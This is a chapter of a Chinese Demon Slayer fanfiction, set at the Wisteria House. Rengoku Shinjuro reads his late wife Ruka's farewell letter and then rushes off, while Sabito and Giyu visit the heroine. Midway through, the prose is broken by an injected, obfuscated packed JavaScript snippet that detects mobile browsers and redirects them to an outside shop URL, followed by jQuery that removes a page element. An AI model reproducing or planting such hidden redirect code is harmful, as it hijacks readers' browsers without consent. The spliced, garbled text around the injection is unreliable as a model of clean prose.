21.第二十一章
作品:《[鬼灭之刃]在紫藤花之家》 炼狱槙寿郎捏着妻子的相片,一时忘记了呼吸。
指尖无自觉用力,微微压皱了相片,皱起的纹路宛如樱花树的枝干,在妻子的和服下摆蔓延伸展。
他这才如梦初醒,手忙脚乱地抚平相片,生怕一个使劲儿就弄坏了脆弱的小纸片。
这是哪儿来的,总不会是在做梦吧?
受到的冲击太大,炼狱槙寿郎摇晃着站起来,精神恍惚地走向屋外。
庭院樱花树下,长子杏寿郎正在教导次子千寿郎炼狱家的剑术。
“加油千寿郎!再砍一百下就能吃饭了!”杏寿郎一边自己挥刀猛刺假人,一边抽空鼓励身旁的弟弟。
千寿郎身形有些站不稳,木剑快跟他个子差不多高了,但还是努力双手握住剑柄,鼓起腮帮子一下一下砍向假人。
“唔呣,就是这样!”
廊檐门后的阴影里,炼狱槙寿郎目睹这一幕,与瑠火去世前他教导长子的画面重叠在了一起。
他退了半步,身体不可抑制地想要逃离此地,让这些事从自己脑海中滚出去。
炎之呼吸有什么用,既无法彻底消灭鬼,又不能挽留住妻子,若是孩子们踏上了这条路,早晚有一天他们也会被杀死。
……更重要的是,每次看到这样的场景,他内心深处都会被无地自容的情绪所笼罩,想要赶紧躲得远远的,用酒精来麻痹自己,忘却无穷无尽的痛苦。
他最对不起的,是妻子和孩子。最无法原谅如今自己的,是从前的那个他。
炼狱槙寿郎很明白,可就是、没有勇气面对现实。
炼狱杏寿郎完成今日训练份额,余光一瞥,发现门后翘出了一缕红黄相间的头发。
他快步走来一探脑袋,果然,“父亲!”
被长子当场抓包,炼狱槙寿郎不自在地移开目光,假装只是路过罢了。
“父亲饿了嘛!等一会儿就做晚饭……啊,那张相片!”杏寿郎捕捉到了对方手里捏着的相片。
炼狱槙寿郎一怔,听他的语气,“你知道这张相片是哪儿来的?”
长子歪头,“就收在茶室第三块榻榻米下面的空格里!昨晚您的鎹鸦一直在叫,我未经许可擅自取出来了,十分抱歉!”
他仰头道歉,表情和语气倒是堂堂正正。
“因为有母亲的相片,我猜想也许是您的东西!”杏寿郎从里衣内袋取出信封,“这是和相片一起的!”
关于信封里的内容,他觉得可能是别人的隐私,私自窥探不太好。
但那张意外飘落的母亲相片,昨晚他独自凝视了很久很久,不断在心中提醒自己是长子,勉强没让眼泪不争气地落下。
早晨又给千寿郎看了看母亲的样子,才小心翼翼放到父亲手边。
鎹鸦!
炼狱槙寿郎知道肯定是紫藤花之家的少女收买了鎹鸦,让它整晚都在他耳边叽叽喳喳吵个不停。
却没想过那并非是一句戏弄。
他夺过信封,颤抖着抽.出信纸,一目十行地读起来,却又怕漏掉哪些内容。
——是瑠火的字迹!
即便没有刚结婚时有力,应该是在病重时写下的,可他仍然一眼认了出来。
瑠火在信里写道,生命最后的时间里,她总想为父子三人留下些什么,便请求了主公。
产屋敷族中有于海外购置的箱型相机,拜托了隐部队里会摄像的人才。
在那个天气逐渐转暖的春天午后,孩子们在屋内熟睡时,她拖着病体起身,留下了这张相片。
“……本想在茶室,可等到当天,院子那棵樱花树开花了,怎么都不愿错过,就换了地方。或许是我的期望被上天听见了,能完成心愿,已然满足。”
“槙寿郎,帮助弱者,是天生强者的职责。身为妻子,在你许久未归时,我心中也有彷徨。身为母亲,想到我的孩子们未来会受到伤害,当然不免恐惧。”
“但是,这些在你我结为夫妇时就已经想好,始终未变。每当想到你们是为了保护更多人免遭劫难,能过上普通人应有的生活,我就为你们感到骄傲与欣慰。”
“不要熄灭胸中火焰,要成为鬼之炼狱。”
“杏寿郎和千寿郎就交给你了,很抱歉无法陪伴他们长大。槙寿郎先生,很抱歉没能践行百年之约。”
“等来世,希望我们仍能认出彼此,结为夫妇,我……”
越到后面,字迹便越发无力,信纸最后像是没能写完,草草结尾。
炼狱槙寿郎双手紧紧攥着信纸,早已泣不成声。
瑠火,看到现在的我,你一定很失望吧?
这样的我不配做杏寿郎和千寿郎的父亲,也没脸在来世与你再会。
炼狱杏寿郎站在一旁略显无措,自母亲去世后,他还是第一次看到父亲哭得如此不顾形象——虽然平时烂醉的样子也没什么形象可言。
“父亲您是太饿了吗?!”他抄起袖子,“我和千寿郎马上就去做饭!”
听到“做饭”这个关键词,炼狱槙寿郎猛地抬头,“——那个紫藤花之家的小姑娘!”
随即连鞋都没顾得上穿,就这么光着脚狂奔出门。
杏寿郎望着他远去,张大嘴巴,诧异极了。
“哥哥……”千寿郎怯怯地探头,其实他并不是才挥完剑,但因为听到了父亲的声音,害怕看到父亲又在斥责哥哥,“父亲人呢?”
杏寿郎也不太清楚发生了什么,眨眼想了想。
“唔呣,大概是想吃哪户紫藤花之家做的饭菜了!好想也去尝一尝!”他斗志满满,“千寿郎,我们也要努力做出好吃的饭!”
尽管千寿郎不觉得父亲会因为一顿饭那么激动,可既然哥哥这么说了,便跟着点点头,“好!”
——
紫藤花之家。
藤花月咲一整天都惦记着瑠火夫人的遗书有没有被看到,不过临近傍晚时暂时收了收,因为有猎鬼人来了。
而且是熟人!
“锖兔、义勇!”她打开门,惊喜出声,“你们在附近做任务吗?”
“已经做完任务了,刚好路过,”锖兔笑道,忽然后退一步打量她,“你长高了好多。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962881|192282||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
寿奶奶每天都见到她,体感没差多少。像他们距离上一次碰面时隔半年了,乍一见就很明显。
锖兔抬手比划两下,居然比他和义勇还高一点点,明明是同龄人!
他吃下去的饭菜和艰苦锻炼都到哪里去了?!
锖兔露出了受到打击的神情,富冈义勇作为三人中目前最矮的那个,默默把脑袋上的头发捋得蓬松,以增加自己的视觉高度。
藤花月咲:……
比较完年龄比身高,男生都那么幼稚的吗?
“放心啦,这只是暂时的,你们以后会比我高的,”她安慰道,“我现在一天一瓶牛奶,你们路过城镇也可以买来喝。”
她请师兄弟进来喝杯茶,义勇从怀里取出一本书,递过去。
一看,是她上次看的那本推理小说的续作!
“之前去浅草看到的,”义勇看着她,“你在信里提到过前作吧?”
藤花月咲惊讶。她现在固定的笔友有主公、悲鸣屿先生、锖兔、富冈义勇和几位女队员,蝴蝶姐妹没有鎹鸦,全靠岩柱当中间人联系,不死川实弥偶尔会用普通的邮递寄信。
其他人多少都会回信,只有义勇从来都不回,她都以为这家伙没收到信呢。
现在看来,宽三郎还是很靠谱的。
“谢谢!”藤花月咲接过小说,好奇地问他怎么不回信。
义勇埋头喝茶:“不知道该写什么……”
他的生活每天都差不多,似乎没什么值得写进信里的。
锖兔放下茶杯,义正言辞:“当然要回信了啊,义勇!否则别人很可能误以为你在任务里牺牲了,是男子汉的话,哪怕躺在床上只有脚趾能动,也要用脚回信!”
富冈义勇恍然大悟:“原来如此。”
“……”藤花月咲简直无力吐槽,“倒也不必用脚回信……”
新的任务还没来,至少在晚饭前能够稍微喘息会儿。
由于禁刀令,猎鬼人无法带着日轮刀随意进出旅馆和食店,就算迫不得已也得小心掩藏。
因此在紫藤花之家吃饭,至少在行为举止上能轻松许多。
藤花月咲端上一盘茶馒头给他们垫肚子,“锖兔的呼吸法怎么样了,有新的招式吗?”
“嗯,现在有伍之型了,”锖兔挠挠嘴角的疤,“前两个型是师父帮忙取的,后面三个,我不太会取名字。”
“毕竟如果以后要收弟子,招式名字很挫的话,也不太好意思说出口吧。”藤花月咲很理解。
他们凑在一块儿正要讨论该怎么取名,突然大门“砰”地被撞开了。
三人脑袋齐刷刷转过去,只见炼狱槙寿郎在门口左顾右盼,发现他们坐在庭院旁,便只穿着里衣露出胸膛、赤脚大步跑来。
师兄弟赶紧起身,把唯一的女孩子护在后面。
锖兔挡住藤花月咲的视线,“在异性面前衣着不整算怎么回事!不要过来啊你这变态大叔!”
义勇咽下嘴里的馒头,举拳表示赞同。
藤花月咲:……咦,骂顶头上司变态,会扣工资吗?

